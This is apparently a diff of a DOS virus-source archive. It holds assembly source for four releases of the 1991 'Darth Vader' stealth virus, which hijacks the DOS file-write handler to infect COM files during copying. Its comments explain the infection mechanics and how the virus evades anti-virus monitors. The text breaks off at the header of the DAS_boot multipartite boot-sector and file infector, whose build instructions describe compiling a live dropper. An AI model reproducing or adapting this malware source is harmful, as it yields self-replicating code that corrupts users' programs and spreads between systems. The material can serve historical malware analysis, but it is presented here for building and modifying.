||||
call SearchZero
|
||||
jc ReturnControl
|
||||
xchg ax,si
|
||||
inc si
|
||||
SearchTable:
|
||||
dec si
|
||||
db 26h
|
||||
lodsw
|
||||
cmp ax,8B2Eh
|
||||
jne SearchTable
|
||||
db 26h
|
||||
lodsb
|
||||
cmp al,75h
|
||||
je ReturnControl
|
||||
cmp al,9Fh
|
||||
jne SearchTable
|
||||
mov si,es:[si]
|
||||
mov cx,LastByte-Start
|
||||
lea ax,[di+Handle-Start]
|
||||
org $-1
|
||||
xchg ax,es:[si+80h]
|
||||
sub ax,di
|
||||
sub ax,cx
|
||||
mov [bx+OldWrite-Start-2],ax
|
||||
mov word ptr [bx+NewStart+1-Start-3],di
|
||||
lea si,[bx-3]
|
||||
rep movsb
|
||||
ReturnControl:
|
||||
pop ax
|
||||
push ss
|
||||
pop es
|
||||
mov di,100h
|
||||
lea si,[bx+First3-Start-3]
|
||||
push di
|
||||
movsw
|
||||
movsb
|
||||
ret
|
||||
SearchZero:
|
||||
xor ax,ax
|
||||
inc di
|
||||
push cx
|
||||
push di
|
||||
mov cx,(LastByte-Start-1)/2+1
|
||||
repe scasw
|
||||
pop di
|
||||
pop cx
|
||||
je FoundPlace
|
||||
loop SearchZero
|
||||
stc
|
||||
FoundPlace:
|
||||
ret
|
||||
Handle:
|
||||
push bp
|
||||
call NextHandle
|
||||
NextHandle:
|
||||
pop bp
|
||||
push es
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push si
|
||||
push di
|
||||
test ch,ch
|
||||
je Do
|
||||
mov ax,1220h
|
||||
int 2Fh
|
||||
mov bl,es:[di]
|
||||
mov ax,1216h
|
||||
int 2Fh
|
||||
cmp es:[di+29h],'MO'
|
||||
jne Do
|
||||
cmp word ptr es:[di+15h],0
|
||||
jne Do
|
||||
push ds
|
||||
pop es
|
||||
mov di,dx
|
||||
mov ax,[di]
|
||||
mov [bp+First3-NextHandle],ax
|
||||
mov al,[di+2]
|
||||
mov [bp+First3+2-NextHandle],al
|
||||
call SearchZero
|
||||
jc Do
|
||||
push di
|
||||
NewStart:
|
||||
mov si,0
|
||||
mov cx,(LastByte-Start-1)/2
|
||||
cli
|
||||
rep
|
||||
db 36h
|
||||
movsw
|
||||
sti
|
||||
mov di,dx
|
||||
mov al,0E9h
|
||||
stosb
|
||||
pop ax
|
||||
sub ax,di
|
||||
dec ax
|
||||
dec ax
|
||||
stosw
|
||||
Do:
|
||||
pop di
|
||||
pop si
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
pop es
|
||||
pop bp
|
||||
OldWrite:
|
||||
jmp start
|
||||
|
||||
LastByte label byte
|
||||
|
||||
end Start
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
@@ -0,0 +1,164 @@
|
||||
;*******************************************************************************
|
||||
;* *
|
||||
;* D A R T H V A D E R - stealth virus *
|
||||
;* *
|
||||
;* (C) - Copyright 1991 by Waleri Todorov, CICTT *
|
||||
;* All Rights Reserved *
|
||||
;* *
|
||||
;* Virus infect ANY com file exept COMMAND.COM. He use iternal DOS *
|
||||
;* dispatcher for int21 functions, so it cannot be stoped by programs *
|
||||
;* like ANTI4US etc... He also cannot be stoped by disk lock utilities *
|
||||
;* because the virus use WRITE function (40h) of DOS' int21. *
|
||||
;* Always when you copy COM file with DOS' 'copy' command or PCTools *
|
||||
;* class programm, you will receive infected (destroyed) copy of file *
|
||||
;* Infected file won't work, but the virus WILL *
|
||||
;* *
|
||||
;* Waleri Todorov *
|
||||
;* *
|
||||
;*******************************************************************************
|
||||
nop ; Dummy NOPs. Required
|
||||
nop
|
||||
|
||||
mov ah,30h ; Get DOS version
|
||||
int 21h
|
||||
cmp al,5 ; If DOS is NOT 5.X
|
||||
jb OkDOS ; Continue
|
||||
Exit ; else terminate
|
||||
int 20h
|
||||
OkDos
|
||||
mov ax,1203h ; Get DOS segment
|
||||
int 2fh ; Via interrupt 2F (undocumented)
|
||||
|
||||
mov si,9000h ; Set ES to 9000
|
||||
mov es,si ; Usualy this area is fill with zeros
|
||||
xor si,si ; SI=0
|
||||
Next
|
||||
inc si ; Next byte
|
||||
cmp si,0F00h ; If SI==0xF00
|
||||
ja Exit ; Then no place found and exit to DOS
|
||||
push si ; else Save SI in stack
|
||||
xor di,di ; ES:DI == 9000:0000
|
||||
mov cx,offset lastbyte-100h ; Will check virus size
|
||||
repe cmpsb ; Check until equal
|
||||
jcxz Found ; if CX==0 then place is found
|
||||
pop si ; else restore SI from stack
|
||||
jmp short Next ; and go search next byte
|
||||
Found
|
||||
pop di ; Restore saved SI to DI
|
||||
mov cs:MyPlace,di ; Save new offset in DOS segment
|
||||
mov [2],di ; at DOSSEG:0002
|
||||
mov si,100h ; SI will point beginning in file
|
||||
push ds ; Save DS
|
||||
push ds ; Set ES equal to DS
|
||||
pop es ;
|
||||
push cs ; Set DS=CS
|
||||
pop ds ;
|
||||
mov cx,offset LastByte-100h ; Will move virus size only
|
||||
rep movsb ; Do move
|
||||
pop ds ; Restore DS (point to DOSSEG)
|
||||
|
||||
push si ; From this place will search DOS table
|
||||
NextTable
|
||||
pop si ;
|
||||
inc si ; Next byte
|
||||
jz Exit ; If segment end then exit
|
||||
push si ; Save SI
|
||||
lodsw ; Load AX from DS:SI
|
||||
xchg ax,bx ; Put AX in BX
|
||||
lodsb ; and load AL from DS:SI
|
||||
cmp bx,8B2Eh ; Check for special bytes
|
||||
jne NextTable ; in AL and BX
|
||||
cmp al,9Fh
|
||||
jne NextTable ; If not match -> search next byte
|
||||
FoundTable
|
||||
lodsw ; Else load table address to AX
|
||||
|
||||
xchg ax,bx ; Put table address to BX
|
||||
mov si,[bx+80h] ; Load current offset of 40h function
|
||||
mov di,offset Handle ; Put its offset to DI
|
||||
mov cx,5 ; Will check 5 bytes only
|
||||
push cs ; ES:DI point handling of 40 in file
|
||||
pop es
|
||||
repe cmpsb ; Check if DS:SI match to ES:DI
|
||||
jcxz Exit ; If match -> virus is here -> Exit
|
||||
mov ax,[bx+80h] ; else load offset of function 40
|
||||
mov [4],ax ; And save it to DOSSEG:0004
|
||||
mov ax,offset Handle-100h ; Load absolute address of
|
||||
add ax,cs:MyPlace ; new handler and adjust its location
|
||||
mov [bx+80h],ax ; Store new address in DOS table
|
||||
|
||||
int 20h ; Now virus is load and active
|
||||
|
||||
Handle ; Handle function 40h of int 21
|
||||
push ax ; Save important registers
|
||||
push bx
|
||||
push cx
|
||||
push ds
|
||||
push es
|
||||
push si
|
||||
push di
|
||||
|
||||
cmp cx,270d ; Check if write less than virus size
|
||||
jb Do ; If so -> write with no infection
|
||||
|
||||
mov cs:[0C00h],ds ; Save buffer segment in DOSSEG:0C00
|
||||
mov cs:[0C02h],dx ; Save buffer offset in DOSSEG:0C02
|
||||
|
||||
mov ax,1220h ; Get number of File Handle table
|
||||
int 2fh ; Via int 2F (undocumented)
|
||||
mov bl,es:[di] ; Load number to BL
|
||||
mov ax,1216h ; Get File Handle table address
|
||||
int 2fh ; Via int 2F (undocumented)
|
||||
|
||||
push di ; Save table offset
|
||||
add di,20h ; Now offset point to NAME of file
|
||||
|
||||
push cs ; DS now will point in virus
|
||||
pop ds
|
||||
|
||||
mov si,offset Command-100h ; Address of string COMM
|
||||
add si,cs:[2] ; Adjust for different offset in DOS
|
||||
mov cx,4 ; Check 4 bytes
|
||||
repe cmpsb ; Do check until equal
|
||||
pop di ; Restore address of table
|
||||
jcxz Do ; If match -> file is COMMand.XXX
|
||||
|
||||
add di,28h ; Else DI point to EXTENSION of file
|
||||
mov si,offset Com-100h ; Address of string COM
|
||||
add si,cs:[2] ; Adjust for different offset in DOS
|
||||
mov cx,3 ; Check 3 bytes
|
||||
repe cmpsb ; Do check until equal
|
||||
jne Do ; If NOT *.COM file -> write normal
|
||||
|
||||
mov di,cs:[0C02h] ; Else restore data buffer from
|
||||
mov es,cs:[0C00h] ; DOSSEG:0C00 & DOSSEG:0C02
|
||||
mov si,cs:[2] ; Get virus start offset
|
||||
mov cx,offset LastByte-100 ; Will move virus only
|
||||
rep movsb ; Move its code in data to write
|
||||
|
||||
; Now virus is placed in data buffer of COPY command or PCTools etc...
|
||||
; When they write to COM file they write virus either
|
||||
|
||||
Do
|
||||
pop di ; Restore importatnt registers
|
||||
pop si
|
||||
pop es
|
||||
pop ds
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
db 36h,0FFh,16h,4,0 ; CALL SS:[4] (call original 40)
|
||||
ret ; Return to caller (usualy DOS)
|
||||
|
||||
Command db 'COMM' ; String for check COMMand.XXX
|
||||
Com db 'COM' ; String for check *.COM
|
||||
|
||||
db 'Darth Vader' ; Signature
|
||||
|
||||
|
||||
LastByte nop ; Mark to calculate virus size
|
||||
|
||||
MyPlace
|
||||
dw 0 ; Temporary variable. Not writed
|
||||
|
||||
@@ -0,0 +1,227 @@
|
||||
;*******************************************************************************
|
||||
;* *
|
||||
;* D A R T H V A D E R ][ *
|
||||
;* *
|
||||
;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia *
|
||||
;* All Rights Reserved *
|
||||
;* *
|
||||
;* This is the second release of Darth Vader virus. Now he infect only *
|
||||
;* those COM file, wich have area of 345 (or more) zeros. Virus put *
|
||||
;* himself in this area and make jump to its code. As before, he can't *
|
||||
;* be stoped by ANTI4US or disk write utilities - DOS function 40h *
|
||||
;* (WRITE to File/Device). The virus operate in memory only, so there is *
|
||||
;* no slowing in operations. This release of virus support DOS versions *
|
||||
;* from 2.X till 4.X. *
|
||||
;* You may make any modifications in this source, BUT let me know *
|
||||
;* what have you done (drop message at Virus eXchange BBS) *
|
||||
;* Waleri Todorov *
|
||||
;*******************************************************************************
|
||||
|
||||
|
||||
org 0 ; Virus start offset is 0
|
||||
|
||||
call NextLine ; Call next instruction
|
||||
NextLine
|
||||
pop si ; and calculate its present location
|
||||
sub si,3
|
||||
|
||||
mov [0f0h],si ; Save own location in PSP
|
||||
mov [0FEh],ax ; Save AX in PSP (Important for DOS
|
||||
; external commands)
|
||||
xor ax,ax ; Make DS point in interrupts vectors
|
||||
mov ds,ax ;
|
||||
mov es,[2Bh*4+2] ; Load ES with DOS segment from int2B
|
||||
mov ax,9000h ; DS will point at 9000h
|
||||
mov ds,ax ; usualy there are zeros
|
||||
xor di,di ; ES:DI point first byte in DOS segment
|
||||
|
||||
NextZero
|
||||
inc di ; Next byte
|
||||
cmp di,0F00h ; If more than F00 bytes checked
|
||||
ja ReturnControl ; then suppose no room and exit
|
||||
push di ; else save tested offset
|
||||
xor si,si ; DS:SI == 9000:0000 (zeros area)
|
||||
mov cx,offset LastByte ; Size of virus
|
||||
repe cmpsb ; Compare until equal
|
||||
pop di ; Restore tested area offset
|
||||
jcxz Found ; If tested area is fill with zeros->
|
||||
jmp short NextZero ; else check next
|
||||
Found ; <- Will install himself in this area
|
||||
mov si,cs:[0F0h] ; Get own start address (maybe diff.)
|
||||
mov cs:[0F2h],di ; Save offset in DOS segment
|
||||
push cs ; Set DS point to virus segment
|
||||
pop ds ;
|
||||
mov cx,offset LastByte ; Size of virus
|
||||
rep movsb ; Move itself in DOSSEG
|
||||
push es ; Set DS point to DOSSEG
|
||||
pop ds
|
||||
|
||||
mov si,di ; From this offset (after virus)
|
||||
NextCall ; Will search DOS dispatcher
|
||||
inc si ; Next byte
|
||||
jz ReturnControl ; If segment overrun -> Return control
|
||||
push si ; Save tested area offset
|
||||
lodsw ; Load word from DS:SI
|
||||
xchg ax,bx ; and put readed value in BX
|
||||
lodsb ; Load byte from DS:SI
|
||||
cmp bx,0FF36h ; Check 'magic' bytes
|
||||
je CheclAl ; If first word match -> check last
|
||||
AgainCall
|
||||
pop si ; else restore offset
|
||||
jmp short NextCall ; and go search next byte
|
||||
CheclAl
|
||||
cmp al,16h ; Check last 'magic' byte
|
||||
jne AgainCall ; If not match go search next byte
|
||||
|
||||
pop si ; Else restore founded offset
|
||||
push si ; and save it for further usage
|
||||
mov di,cs:[0F2h] ; Get virus offset
|
||||
mov [4],di ; and save it to DOSSEG
|
||||
add di,offset HandleCall ; DI now adjusted to
|
||||
movsw ; original dispatcher place
|
||||
movsw ; Original dispatcher go at ES:DI for
|
||||
movsb ; further calls from virus
|
||||
pop di ; Restore founded offset
|
||||
mov al,9Ah ; and put an absolute FAR CALL
|
||||
stosb
|
||||
mov ax,offset Handle ; Put offset of new dispatcher
|
||||
add ax,cs:[0F2h] ; adjust him for different offsets
|
||||
stosw ; and store offset in FAR CALL
|
||||
mov ax,es ; put DOSSEG either in FAR CALL
|
||||
stosw
|
||||
|
||||
; Since this moment virus is installed and operated in memory. If make a copy
|
||||
; of a file with DOS copy or PCTools and if file have area of 345 (or more)
|
||||
; zeros, the copy (not the original) will became infected. Copied file will
|
||||
; operate correctly when you start him. The virus logic allow multiple copies
|
||||
; of the virus in the memory so you may have file with several copies of virus
|
||||
; (each memory copy put himself in file)
|
||||
|
||||
|
||||
ReturnControl ; Return control to main program
|
||||
push cs ; Set DS and ES to point at PSP
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
mov di,100h ; Set ES:DI point start of file at PSP:100
|
||||
push di ; Put DI in stack for dummy return
|
||||
mov si,[0F0h] ; Get beginning of the virus
|
||||
add si,offset First3 ; and adjust for first 3 instr.
|
||||
movsw ; Move saved First instructions
|
||||
movsb ;
|
||||
mov ax,[0FEh] ; Restore saved AX (required by DOS
|
||||
ret ; external command. Return control
|
||||
; via dummy RET
|
||||
Fail
|
||||
jmp Do ; Requested jump! Don't touch here!
|
||||
|
||||
Handle
|
||||
mov cs:[0Ah],ds ; Save write buffer segment
|
||||
mov cs:[0Ch],dx ; Save write buffer offset
|
||||
mov cs:[0Eh],cx ; Save write buffer size
|
||||
|
||||
push ax ; Save important registers
|
||||
push bx
|
||||
push cx
|
||||
push es
|
||||
push si
|
||||
push di
|
||||
|
||||
cmp ah,40h ; If function is not 40 (WRITE)
|
||||
jne Fail ; then call DOS with no infection
|
||||
|
||||
cmp cx,offset LastByte+10h ; Check if size of buffer
|
||||
jb Fail ; is big enough to hold all virus
|
||||
|
||||
mov ax,1220h ; Get file handle internal table number
|
||||
int 2Fh ; Via int2F (undocumented)
|
||||
mov bl,es:[di] ; Load table number to BL
|
||||
mov ax,1216h ; Get handle table address in ES:DI
|
||||
int 2Fh ; Via int2F (undocumented)
|
||||
add di,28h ; ES:DI will point file extension
|
||||
|
||||
push cs ; Set DS to point in virus
|
||||
pop ds
|
||||
|
||||
mov si,offset Com ; SI point to COM string
|
||||
add si,[4] ; adjust for different offsets
|
||||
mov cx,3 ; Will compare 3 bytes
|
||||
repe cmpsb ; Compare until equal
|
||||
jne Do ; If not equal -> exit with no infect
|
||||
|
||||
push ds ; ES point to virus (DOS) segment
|
||||
pop es
|
||||
mov ds,cs:[0Ah] ; DS point to write buffer segment
|
||||
mov si,cs:[0Ch] ; SI point to write buffer offset
|
||||
mov di,offset First3 ; DI point to save area for
|
||||
add di,cs:[4] ; first 3 instruction. Adjust fo offset
|
||||
movsw ; Save first 3 instruction from write buffer
|
||||
movsb ; to virus buffer
|
||||
|
||||
mov ax,9000h ; ES wil point zeros at 9000
|
||||
mov es,ax
|
||||
mov cx,cs:[0Eh] ; Restore write buffer size
|
||||
SearchHole
|
||||
xor di,di ; ES:DI point to 9000:0000
|
||||
inc si ; SI point next byte from write buffer
|
||||
dec cx ; Decrease remaining bytes
|
||||
jz Do ; If test all buffer -> no infection
|
||||
push cx ; Save remain buffer size
|
||||
push si ; Save current buffer offset
|
||||
mov cx,offset LastByte ; Will check for virus size only
|
||||
repe cmpsb ; Check until equal
|
||||
pop si ; Restore tested area offset
|
||||
jcxz FoundHole ; If 345 zeros -> Go infect
|
||||
pop cx ; Else restore remain buffer size
|
||||
jmp short SearchHole ; And go check next byte
|
||||
FoundHole
|
||||
pop cx ; Restore remain buffer size
|
||||
push si ; Save DS:SI (point to zeros in write buffer)
|
||||
push ds ;
|
||||
mov es,cs:[0Ah] ; ES:DI point to beginning of buffer
|
||||
mov di,cs:[0Ch] ;
|
||||
mov al,0E9h ; Put a NEAR JMP in buffer
|
||||
stosb ;
|
||||
sub si,cs:[0Ch] ; Calculate argument for JMP
|
||||
sub si,3
|
||||
mov ax,si ; and store it in buffer
|
||||
stosw ;
|
||||
|
||||
pop es ; ES:DI now will point to zeros
|
||||
pop di ; and the JMP address point here
|
||||
; So virus will receive control first
|
||||
push cs ; DS:SI will point to virus code in memory
|
||||
pop ds
|
||||
mov si,cs:[4] ; Adjust for different offsets
|
||||
mov cx,offset LastByte ; Will move virus size only
|
||||
rep movsb ; Move virus in write buffer
|
||||
|
||||
Do
|
||||
pop di ; Restore important registers
|
||||
pop si
|
||||
pop es
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
mov dx,cs:[0Ch] ; Restore write buffer address
|
||||
mov ds,cs:[0Ah] ; to DS:DX
|
||||
|
||||
HandleCall
|
||||
db 5 dup (0) ; Here come original DOS jump instr.
|
||||
; Usualy it is CALL SS:[MemOffs]
|
||||
; In original DOS jump instr. is placed
|
||||
; a FAR CALL to new WRITE handler
|
||||
retf ; Return to DOS
|
||||
|
||||
First3 ; Here come first 3 instruction of infected file
|
||||
int 20h ; Now they are dummy terminate
|
||||
nop
|
||||
Com
|
||||
db 'COM' ; String to check for any COM file
|
||||
|
||||
db 'Darth Vader' ; Virus signature
|
||||
|
||||
LastByte ; Dummy label to compute virus size
|
||||
nop
|
||||
|
||||
@@ -0,0 +1,197 @@
|
||||
;*******************************************************************************
|
||||
;* *
|
||||
;* D A R T H V A D E R ]I[ *
|
||||
;* *
|
||||
;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia *
|
||||
;* All Rights Reserved *
|
||||
;* *
|
||||
;* This is the third release of Darth Vader virus. He also infect only *
|
||||
;* those COM file, wich have area of 255 (or more) zeros. As you might *
|
||||
;* see, virus' size is reduced. This increase possibility file to have *
|
||||
;* enough zeros to hold virus. In several tests the percentage of *
|
||||
;* infected file was tested, and it was bigger than in Darth Vader 2. *
|
||||
;* This release support only DOS 2.X and later, but less than 5.X *
|
||||
;* You may make any modifications in this source, BUT let me know *
|
||||
;* what you have done (drop me a message at Virus eXchange BBS) *
|
||||
;* *
|
||||
;* Waleri Todorov *
|
||||
;*******************************************************************************
|
||||
|
||||
|
||||
org 0 ; Begin from offset 0
|
||||
|
||||
nop ; Dummy NOPs. Don't remove them
|
||||
nop
|
||||
nop
|
||||
|
||||
call NextLine ; Call next instruction
|
||||
NextLine
|
||||
pop bx ; To calculate it's own location
|
||||
sub bx,6 ; Location stored in BX
|
||||
mov [0FEh],ax ; Save AX for further usage
|
||||
|
||||
xor ax,ax ; Set DS to point in interrupt table
|
||||
mov ds,ax ;
|
||||
les ax,[2Bh*4] ; ES:AX point to vector 2B; ES==DOSSEG
|
||||
xor di,di ; ES:DI point to DOSSEG:0000
|
||||
mov cx,1000h ; Will search 1000h bytes
|
||||
call SearchZero ; Search Zeros in ES:DI
|
||||
jc ReturnControl ; If CF==Yes -> no place and exit
|
||||
mov cs:[bx+offset NewStart],di ; Save beginnig
|
||||
|
||||
xor si,si ; SI=0;
|
||||
push es ; Set DS point to DOSSEG
|
||||
pop ds
|
||||
SearchTable
|
||||
lodsw ; Load word from DS:SI
|
||||
cmp ax,8B2Eh ; Check first 'magic' byte
|
||||
je Found1 ; If match -> check next byte
|
||||
NotHere
|
||||
dec si ; Else go search from next byte
|
||||
jmp short SearchTable
|
||||
Found1
|
||||
lodsb ; Load next byte
|
||||
cmp al,9Fh ; If match with last 'magic' byte
|
||||
je FoundTable ; fo to found table
|
||||
dec si ; else go search from next byte
|
||||
jmp short NotHere
|
||||
FoundTable
|
||||
lodsw ; Load table address to AX
|
||||
xchg ax,bx ; Exchange AX <-> BX
|
||||
mov cx,[bx+80h] ; Load in CX old WRITE handler offset
|
||||
xchg ax,bx ; Exchange AX <-> BX
|
||||
mov cs:[bx+offset OldWrite],cx ; Save old offset
|
||||
lea cx,[di+offset Handle] ; Load in CX new offset
|
||||
xchg ax,bx ; Exchgange AX <-> BX
|
||||
mov [bx+80h],cx ; Store new WRITE offset to table
|
||||
xchg ax,bx ; Exchange AX <-> BX
|
||||
|
||||
push cs ; Set DS point to virus code
|
||||
pop ds ;
|
||||
mov cx,offset LastByte ; CX = Virus Size
|
||||
mov si,bx ; SI=virus start offset
|
||||
rep movsb ; ES:DI point to free area in DOS
|
||||
; go in there
|
||||
ReturnControl
|
||||
push cs ; Set DS & ES point in host program
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
mov di,100h ; DI point CS:100
|
||||
lea si,[bx+offset First3] ; SI point old first instr
|
||||
push di ; Save DI for dummy RETurn
|
||||
movsw ; Move first 2 byte
|
||||
movsb ; Move another one
|
||||
mov ax,[0FEh] ; Restore AX (Remember?)
|
||||
xor bx,bx ; Clear BX
|
||||
ret ; Return control to host via dummy RETurn
|
||||
|
||||
; Here terminate virus installation in memory. After this moment
|
||||
; virus is active and will infect any COM file bigger than the virus
|
||||
; and having enough zeros
|
||||
|
||||
|
||||
SearchZero
|
||||
xor ax,ax ; Set AX to zero (gonna search zeros)
|
||||
Again
|
||||
inc di ; ES:DI++
|
||||
push cx ; Save CX
|
||||
push di ; Save DI
|
||||
mov cx,offset LastByte ; CX = Virus Size
|
||||
repe scasb ; Search until equal
|
||||
pop di ; Restore DI
|
||||
jcxz FoundPlace ; If CX==0 then ES:DI point to zeros
|
||||
pop cx ; Else restore CX
|
||||
loop Again ; And loop again until CX!=0
|
||||
stc ; If CX==0
|
||||
ret ; Set CF and return to caller (No place)
|
||||
FoundPlace
|
||||
pop cx ; Restore CX
|
||||
clc ; Clear CF (ES:DI point to zero area)
|
||||
ret ; Return to caller
|
||||
|
||||
; The followed procedure is new WRITE handle. It check does write buffer
|
||||
; have enough zeros to hold virus. If so -> copy virus in zero area, change
|
||||
; entry point and write file, else write file only
|
||||
|
||||
Handle
|
||||
mov ss:[4],bp ; Save BP (BP used as index register)
|
||||
push es ; Save important registers
|
||||
push ax ; DS:DX are saved last, because
|
||||
push bx ; they are used later in infection
|
||||
push cx
|
||||
push si
|
||||
push di
|
||||
push ds ;
|
||||
push dx ;
|
||||
|
||||
call NextHandle ; Call NextHandle to calculate
|
||||
OldWrite ; variable area offset
|
||||
dw 0 ; Old WRITE handler
|
||||
NewStart
|
||||
dw 0 ; Virus offset in DOSSEG
|
||||
First3
|
||||
int 20h ; First 3 instruction of COM file
|
||||
nop
|
||||
|
||||
NextHandle
|
||||
pop bp ; Set SS:BP to point to variable area
|
||||
|
||||
cmp cx,offset LastByte+10h ; Check if write buffer
|
||||
jb Do ; is big enough. If not -> exit
|
||||
|
||||
mov ax,1220h ; Get file handle (BX) table number
|
||||
int 2Fh ; Via interrupt 2F (undocumented)
|
||||
mov bl,es:[di] ; Load handle table number in BL
|
||||
mov ax,1216h ; Get file handle table address
|
||||
int 2Fh ; Via interrupt 2F (undocumented)
|
||||
cmp es:[di+29h],'MO' ; Check if file is ?OM
|
||||
jne Do ; If not -> exit
|
||||
|
||||
pop di ; Set ES:DI to point write buffer
|
||||
pop es ;
|
||||
push es ;
|
||||
push di ;
|
||||
mov ax,es:[di] ; Set AX to first 2 bytes from buffer
|
||||
mov [bp+4],ax ; and save it in First instruction
|
||||
mov al,es:[di+2] ; Set AL to third byte from buffer
|
||||
mov [bp+6],al ; and save it in First instruction
|
||||
|
||||
call SearchZero ; Search zeros area in buffer
|
||||
jc Do ; If not found -> exit
|
||||
|
||||
mov bx,di ; Set BX to point zero area
|
||||
|
||||
push cs ; Set DS point to DOSSEG (Virus)
|
||||
pop ds
|
||||
mov si,[bp+2] ; Set SI to virus offset in DOSSEG
|
||||
mov cx,offset LastByte ; Set CX to virus size
|
||||
rep movsb ; Move virus to buffer
|
||||
pop di ; Set DI point to buffer (not zero area)
|
||||
push di
|
||||
mov al,0E9h ; Set AL to JMP opcode
|
||||
sub bx,di ; Set BX to virus offset in file
|
||||
stosb ; Store JMP to buffer
|
||||
xchg ax,bx ; AX now have offset of virus in file
|
||||
sub ax,3 ; Calculate JMP argument
|
||||
stosw ; and store it in buffer
|
||||
|
||||
Do
|
||||
pop dx ; Restore important registers
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
pop es
|
||||
|
||||
push [bp] ; Put old WRITE offset in stack for RET
|
||||
mov bp,ss:[4] ; Restore BP
|
||||
|
||||
ret ; Call DOS via dummy RETurn
|
||||
|
||||
db 'Darth Vader ' ; Virus sign
|
||||
|
||||
LastByte label byte ; Last byte of virus
|
||||
|
||||
@@ -0,0 +1,144 @@
|
||||
;*******************************************************************************
|
||||
;* *
|
||||
;* D A R T H V A D E R IV *
|
||||
;* *
|
||||
;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia *
|
||||
;* All Rights Reserved *
|
||||
;* *
|
||||
;* Enchanced by: Lazy Wizard *
|
||||
;* *
|
||||
;* Turbo Assembler 2.0 *
|
||||
;* *
|
||||
;*******************************************************************************
|
||||
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
|
||||
org 100h
|
||||
|
||||
Start:
|
||||
call NextLine
|
||||
First3:
|
||||
int 20h
|
||||
int 3
|
||||
NextLine:
|
||||
pop bx
|
||||
push ax
|
||||
xor di,di
|
||||
mov es,di
|
||||
mov es,es:[2Bh*4+2]
|
||||
mov cx,1000h
|
||||
call SearchZero
|
||||
jc ReturnControl
|
||||
xchg ax,si
|
||||
inc si
|
||||
SearchTable:
|
||||
dec si
|
||||
db 26h
|
||||
lodsw
|
||||
cmp ax,8B2Eh
|
||||
jne SearchTable
|
||||
db 26h
|
||||
lodsb
|
||||
cmp al,75h
|
||||
je ReturnControl
|
||||
cmp al,9Fh
|
||||
jne SearchTable
|
||||
mov si,es:[si]
|
||||
mov cx,LastByte-Start
|
||||
lea ax,[di+Handle-Start]
|
||||
org $-1
|
||||
xchg ax,es:[si+80h]
|
||||
sub ax,di
|
||||
sub ax,cx
|
||||
mov [bx+OldWrite-Start-2],ax
|
||||
mov word ptr [bx+NewStart+1-Start-3],di
|
||||
lea si,[bx-3]
|
||||
rep movsb
|
||||
ReturnControl:
|
||||
pop ax
|
||||
push ss
|
||||
pop es
|
||||
mov di,100h
|
||||
lea si,[bx+First3-Start-3]
|
||||
push di
|
||||
movsw
|
||||
movsb
|
||||
ret
|
||||
SearchZero:
|
||||
xor ax,ax
|
||||
inc di
|
||||
push cx
|
||||
push di
|
||||
mov cx,[LastByte-Start-1]/2+1
|
||||
repe scasw
|
||||
pop di
|
||||
pop cx
|
||||
je FoundPlace
|
||||
loop SearchZero
|
||||
stc
|
||||
FoundPlace:
|
||||
ret
|
||||
Handle:
|
||||
push bp
|
||||
call NextHandle
|
||||
NextHandle:
|
||||
pop bp
|
||||
push es
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push si
|
||||
push di
|
||||
test ch,ch
|
||||
je Do
|
||||
mov ax,1220h
|
||||
int 2Fh
|
||||
mov bl,es:[di]
|
||||
mov ax,1216h
|
||||
int 2Fh
|
||||
cmp es:[di+29h],'MO'
|
||||
jne Do
|
||||
cmp word ptr es:[di+15h],0
|
||||
jne Do
|
||||
push ds
|
||||
pop es
|
||||
mov di,dx
|
||||
mov ax,[di]
|
||||
mov [bp+First3-NextHandle],ax
|
||||
mov al,[di+2]
|
||||
mov [bp+First3+2-NextHandle],al
|
||||
call SearchZero
|
||||
jc Do
|
||||
push di
|
||||
NewStart:
|
||||
mov si,0
|
||||
mov cx,[LastByte-Start-1]/2
|
||||
cli
|
||||
rep
|
||||
db 36h
|
||||
movsw
|
||||
sti
|
||||
mov di,dx
|
||||
mov al,0E9h
|
||||
stosb
|
||||
pop ax
|
||||
sub ax,di
|
||||
dec ax
|
||||
dec ax
|
||||
stosw
|
||||
Do:
|
||||
pop di
|
||||
pop si
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
pop es
|
||||
pop bp
|
||||
OldWrite:
|
||||
jmp start
|
||||
|
||||
LastByte label byte
|
||||
|
||||
end Start
|
||||
@@ -0,0 +1,314 @@
|
||||
;=============================================================================
|
||||
; Virus Name: DAS_boot
|
||||
; Effective Length: 421 Bytes
|
||||
; Description: Dark Angel's _small virus modified into multipartite
|
||||
;
|
||||
; Notes:
|
||||
; - resident, multipartite, appending .COM/.EXE infector
|
||||
; - infects .COM and .EXE files when they are executed
|
||||
; - infects fixed disk MBR
|
||||
; - no harmful payload
|
||||
;
|
||||
; To Compile:
|
||||
; - use shareware A86 assembler
|
||||
; - type "a86 das_boot.a86"
|
||||
; - resulting das_boot.com is virus dropper which,
|
||||
; if executed, will infect your system with DAS_boot
|
||||
